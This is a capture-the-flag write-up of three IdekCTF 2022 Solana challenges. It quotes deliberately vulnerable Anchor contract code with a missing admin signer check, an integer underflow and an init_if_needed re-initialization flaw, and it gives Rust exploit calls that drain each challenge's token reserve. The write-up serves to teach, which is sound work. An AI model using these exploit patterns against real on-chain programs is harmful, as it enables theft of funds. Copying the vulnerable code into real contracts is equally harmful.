<-->

I am writing write-ups of blockchain challenges because it is my goal.

 

As Otter Sec sponsored IdekCTF, there are three solana challenges.

 

The CTF was the first time I encountered Solana and Rust.

 

Considering that even a noob(me) could solve the problem, it can be thought that it was very easy to solve.

 

I found it interesting that by checking the diff between problems 1, 2, and 3, I was able to find vulnerabilities.

 


baby blockchain 1

https://github.com/idekctf/idekctf2022/tree/main/blockchain/baby-1

 

 

Analysis

 

main.rs

    if user_token_account.amount > 200 {
        writeln!(socket, "congrats!")?;
        if let Ok(flag) = env::var("FLAG") {
            writeln!(socket, "flag: {:?}", flag)?;

 

To gain flag, balance of user_account is greater than 200

 

 

 

Looking into lib.rs, we find two function that has token::transfer.

 

 

inside attempt

            token::transfer(withdraw_ctx, record.tries as u64)?;

 

inside deposit

        token::transfer(withdraw_ctx, amount)?;

 

record.tries was initialized by 3 and when called it decreases by 1.

As I thought it is difficult to fill user_account with 200 by attempt, I examined deposit closely.

 

 

Root Cause

 

deposit is a function that sends token ffrom reserve to user.

In reserve, there exists an admin who manage the reserve(maybe?)

Therefore, withdrawing token from the reserve should only be allowd for admin.

However, it execute token::transfer without checking if admin == user 

 

    // where is verfication?
    pub fn deposit(ctx: Context<Deposit>, amount: u64) -> Result<()> {
        let reserve_bump = [*ctx.bumps.get("reserve").unwrap()];
        let signer_seeds = [
            b"RESERVE",
            reserve_bump.as_ref()
        ];
        let signer = &[&signer_seeds[..]];

        let withdraw_ctx = CpiContext::new_with_signer(
            ctx.accounts.token_program.to_account_info(),
            Transfer {
                from: ctx.accounts.reserve.to_account_info(),
                to: ctx.accounts.user_account.to_account_info(),
                authority: ctx.accounts.reserve.to_account_info()
            },
            signer
        );
        token::transfer(withdraw_ctx, amount)?;
        Ok(())
    }

#[derive(Accounts)]
pub struct Deposit<'info> {
    #[account(
        mut,
        seeds = [ b"CONFIG" ],
        bump,
        has_one = admin
    )]
    pub config: Account<'info, Config>,

    #[account(
        mut,
        seeds = [ b"RESERVE" ],
        bump,
        constraint = reserve.mint == mint.key(),
    )]
    pub reserve: Account<'info, TokenAccount>,

    #[account(
        mut,
        seeds = [b"account", user.key().as_ref()],
        bump,
        constraint = user_account.mint == mint.key(),
        constraint = user_account.owner == user.key(),
    )]
    pub user_account: Account<'info, TokenAccount>,

    pub mint: Account<'info, Mint>,

    #[account(mut)]
    pub admin: AccountInfo<'info>, // here
    
    #[account(mut)]
    pub user:  Signer<'info>,
    pub token_program: Program<'info, Token>,
    pub system_program: Program<'info, System>,
    pub rent: Sysvar<'info, Rent>,
}

 

Solve

        // your instruction goes here
        let cpi_accounts2 = chall::cpi::accounts::Deposit {
            config: ctx.accounts.config.to_account_info(),
            reserve: ctx.accounts.reserve.to_account_info(),
            user_account: ctx.accounts.user_account.to_account_info(),
            mint: ctx.accounts.mint.to_account_info(),
            admin: ctx.accounts.admin.to_account_info(),
            user: ctx.accounts.user.to_account_info(),
            token_program: ctx.accounts.token_program.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };
        let cpi_ctx2 = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts2);
        chall::cpi::deposit(cpi_ctx2, 200 as u64)?;

 

 


baby blockchain 2

https://github.com/idekctf/idekctf2022/tree/main/blockchain/baby-2

 

 

Analysis

 

main.rs is identical to blockchain-1 

The diff result of lib.rs is as follows:

Since admin should be a Signer, it can be considered that vulnerability of baby-blockchain 1 has been fixed.

So we should look at the attempt that contains token::transfer.

 

Root Cause

lib.rs

 

Rust is known that it allow user not to overflow and underflow.

Actually, one can avoid that.

https://stackoverflow.com/questions/31215139/how-can-integer-overflow-protection-be-turned-off

 

 

When entering, record decreases by 1.

If record is zero, record minus one would be 255

    pub fn attempt(ctx: Context<Attempt>) -> Result<()> {
        let record = &mut ctx.accounts.record;
        msg!("[CHALL] attempt.tries {}", record.tries);
        if record.tries > 0 {
            let reserve_bump = [*ctx.bumps.get("reserve").unwrap()];
            let signer_seeds = [
                b"RESERVE",
                reserve_bump.as_ref()
            ];
            let signer = &[&signer_seeds[..]];

            let withdraw_ctx = CpiContext::new_with_signer(
                ctx.accounts.token_program.to_account_info(),
                Transfer {
                    from: ctx.accounts.reserve.to_account_info(),
                    to: ctx.accounts.user_account.to_account_info(),
                    authority: ctx.accounts.reserve.to_account_info()
                },
                signer
            );
            token::transfer(withdraw_ctx, record.tries as u64)?;
        }
        record.tries -= 1; // here
        Ok(())
    }

 

 

Solve

        for _ in 0..6 {
                let cpi_accounts = chall::cpi::accounts::Attempt {
                    reserve: ctx.accounts.reserve.to_account_info(),
                    record: ctx.accounts.user_record.to_account_info(),
                    user_account: ctx.accounts.user_account.to_account_info(),
                    mint: ctx.accounts.mint.to_account_info(),
                    user: ctx.accounts.user.to_account_info(),
                    token_program: ctx.accounts.token_program.to_account_info(),
                };
                let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
                chall::cpi::attempt(cpi_ctx)?;
        }

 

 


baby blockchain 3

https://github.com/idekctf/idekctf2022/tree/main/blockchain/baby-3

 

 

Analysis

 

lib.rs

The vulnerabiltiy of blockchain-2 is fixed!

 

 

inside Initialize 

init  > init_if_needed

 

 

inside Deposit 

admin and user should be both signer.

 

 

Root Cause

inif_init_need's description 

https://docs.rs/anchor-lang/latest/anchor_lang/derive.Accounts.html

When using init_if_needed, you need to make sure you properly protect yourself against re-initialization attacks. You need to include checks in your code that check that the initialized account cannot be reset to its initial settings after the first time it was initialized

 

When constraint of account is init, it cannot be re-initialization.

But, it can be re-initialization with init_if_needed. (re-initialization attack)

By calling initialize, we can change the admin of reserve to user.

 

 

Solve

        let cpi_accounts = chall::cpi::accounts::Initialize {
            config: ctx.accounts.config.to_account_info(),
            reserve: ctx.accounts.reserve.to_account_info(),
            mint: ctx.accounts.mint.to_account_info(),
            admin:ctx.accounts.user.to_account_info(),
            token_program: ctx.accounts.token_program.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };
        
        let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
        chall::cpi::initialize(cpi_ctx)?;

        let cpi_accounts2 = chall::cpi::accounts::Deposit {
            config: ctx.accounts.config.to_account_info(),
            reserve: ctx.accounts.reserve.to_account_info(),
            user_account: ctx.accounts.user_account.to_account_info(),
            mint: ctx.accounts.mint.to_account_info(),
            admin: ctx.accounts.user.to_account_info(),
            user: ctx.accounts.user.to_account_info(),
            token_program: ctx.accounts.token_program.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };
        let cpi_ctx2 = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts2);
        chall::cpi::deposit(cpi_ctx2, 201 as u64)?;

'writeups' 카테고리의 다른 글

SUITF  (0) 2023.03.03
PBCTF 2023 - rev(move VM)  (0) 2023.02.20
HackTM CTF Quals 2023 - smart contract(Dragon Slayer, Diamond Heist)  (0) 2023.02.19
LA CTF 2023 - pwn(breakup, evmvm, sailor)  (0) 2023.02.13
RealWorldCTF 2023 - blockchain(realwrap)  (0) 2023.02.09

+ Recent posts